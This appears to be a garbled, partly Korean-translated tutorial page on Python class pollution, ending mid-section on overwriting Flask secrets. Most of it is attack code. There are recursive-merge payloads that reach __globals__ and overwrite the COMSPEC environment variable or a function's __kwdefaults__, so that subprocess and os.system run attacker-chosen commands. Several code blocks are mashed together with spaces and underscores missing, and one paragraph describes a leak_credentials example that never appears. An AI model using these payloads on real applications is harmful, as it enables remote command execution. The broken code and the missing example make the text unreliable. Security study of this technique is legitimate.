classCompany: passclassDeveloper(Company): passclassEntity(Developer): passc =Company()d =Developer()e =Entity()print(c)#<__main__.Company object at 0x1043a72b0>print(d)#<__main__.Developer object at 0x1041d2b80>print(e)#<__main__.Entity object at 0x1041d2730>e.__class__.__qualname__='Polluted_Entity'print(e)#<__main__.Polluted_Entity object at 0x1041d2730>e.__class__.__base__.__qualname__='Polluted_Developer'e.__class__.__base__.__base__.__qualname__='Polluted_Company'print(d)#<__main__.Polluted_Developer object at 0x1041d2b80>print(c)#<__main__.Polluted_Company object at 0x1043a72b0>
기본 취약점 예제
Consider the following Python code:
classUser:def__init__(self,username,password): self.username = username self.password = passworddeflogin(self):# Code for logging in the userdeflogout(self):# Code for logging out the userclassAdmin(User):def__init__(self,username,password):super().__init__(username, password) self.is_admin =Truedefpromote_user(self,user):# Code for promoting a user to admindefdelete_user(self,user):# Code for deleting a useruser =User("john", "password123")admin =Admin("admin", "admin123")user.login()admin.promote_user(user)
In this example, we have a basic User class with a login and logout method. We also have an Admin class that inherits from the User class and has additional methods for promoting and deleting users.
Now, let's say an attacker is able to manipulate the prototype of the User class. They can do this by polluting the class's prototype with additional properties or methods. For example, they could add a leak_credentials method to the User class prototype.
As we can see, the attacker is able to access and leak the credentials of both the regular user and the admin user.
This is a basic example of class pollution in Python, where an attacker is able to manipulate the prototype of a class and add malicious properties or methods. It highlights the importance of properly securing and validating user input to prevent such attacks.
```python from os import popen class Employee: pass # Creating an empty class class HR(Employee): pass # Class inherits from Employee class class Recruiter(HR): pass # Class inherits from HR class
class SystemAdmin(Employee): # Class inherits from Employee class def execute_command(self): command = self.custom_command if hasattr(self, 'custom_command') else 'echo Hello there' return f'[!] Executing: "{command}", output: "{popen(command).read().strip()}"'
def merge(src, dst):
Recursive merge function
for k, v in src.items(): if hasattr(dst, 'getitem'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v)
</details>
<details>
<summary><code>globals</code>를 통해 다른 클래스와 전역 변수 오염시키기</summary>
```python
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
class User:
def __init__(self):
pass
class NotAccessibleClass: pass
not_accessible_variable = 'Hello'
merge({'__class__':{'__init__':{'__globals__':{'not_accessible_variable':'Polluted variable','NotAccessibleClass':{'__qualname__':'PollutedClass'}}}}}, User())
print(not_accessible_variable) #> Polluted variable
print(NotAccessibleClass) #> <class '__main__.PollutedClass'>
임의의 서브프로세스 실행
```python import subprocess, json
class Employee: def init(self): pass
def merge(src, dst):
Recursive merge function
for k, v in src.items(): if hasattr(dst, 'getitem'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v)
Overwrite env var "COMSPEC" to execute a calc
USER_INPUT = json.loads('{"init":{"globals":{"subprocess":{"os":{"environ":{"COMSPEC":"cmd /c calc"}}}}}}') # attacker-controlled value
merge(USER_INPUT, Employee())
subprocess.Popen('whoami', shell=True) # Calc.exe will pop up
</details>
<details>
<summary><strong><code>__kwdefaults__</code></strong> 덮어쓰기</summary>
**`__kwdefaults__`**는 모든 함수의 특수 속성입니다. Python [문서](https://docs.python.org/3/library/inspect.html)에 따르면, 이는 "키워드 전용 매개변수의 기본값에 대한 매핑"입니다. 이 속성을 오염시키면 함수의 키워드 전용 매개변수의 기본값을 제어할 수 있습니다. 이는 \* 또는 \*args 뒤에 오는 함수의 매개변수입니다.
```python
from os import system
import json
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
class Employee:
def __init__(self):
pass
def execute(*, command='whoami'):
print(f'Executing {command}')
system(command)
print(execute.__kwdefaults__) #> {'command': 'whoami'}
execute() #> Executing whoami
#> user
emp_info = json.loads('{"__class__":{"__init__":{"__globals__":{"execute":{"__kwdefaults__":{"command":"echo Polluted"}}}}}}') # attacker-controlled value
merge(emp_info, Employee())
print(execute.__kwdefaults__) #> {'command': 'echo Polluted'}
execute() #> Executing echo Polluted
#> Polluted
다른 파일에서 Flask 시크릿 덮어쓰기
따라서, 웹의 주요 파이썬 파일에서 정의된 객체에 대해 클래스 오염을 수행할 수 있지만, 해당 클래스는 주요 파일과 다른 파일에서 정의됩니다. 이전 페이로드에서 __globals__에 접근하려면 객체의 클래스 또는 클래스의 메서드에 접근해야 하므로 해당 파일의 글로벌 변수에 접근할 수 있지만, 주요 파일에서는 접근할 수 없습니다.
따라서, 주요 페이지에서 시크릿 키를 정의한 Flask 앱 글로벌 객체에는 접근할 수 없습니다.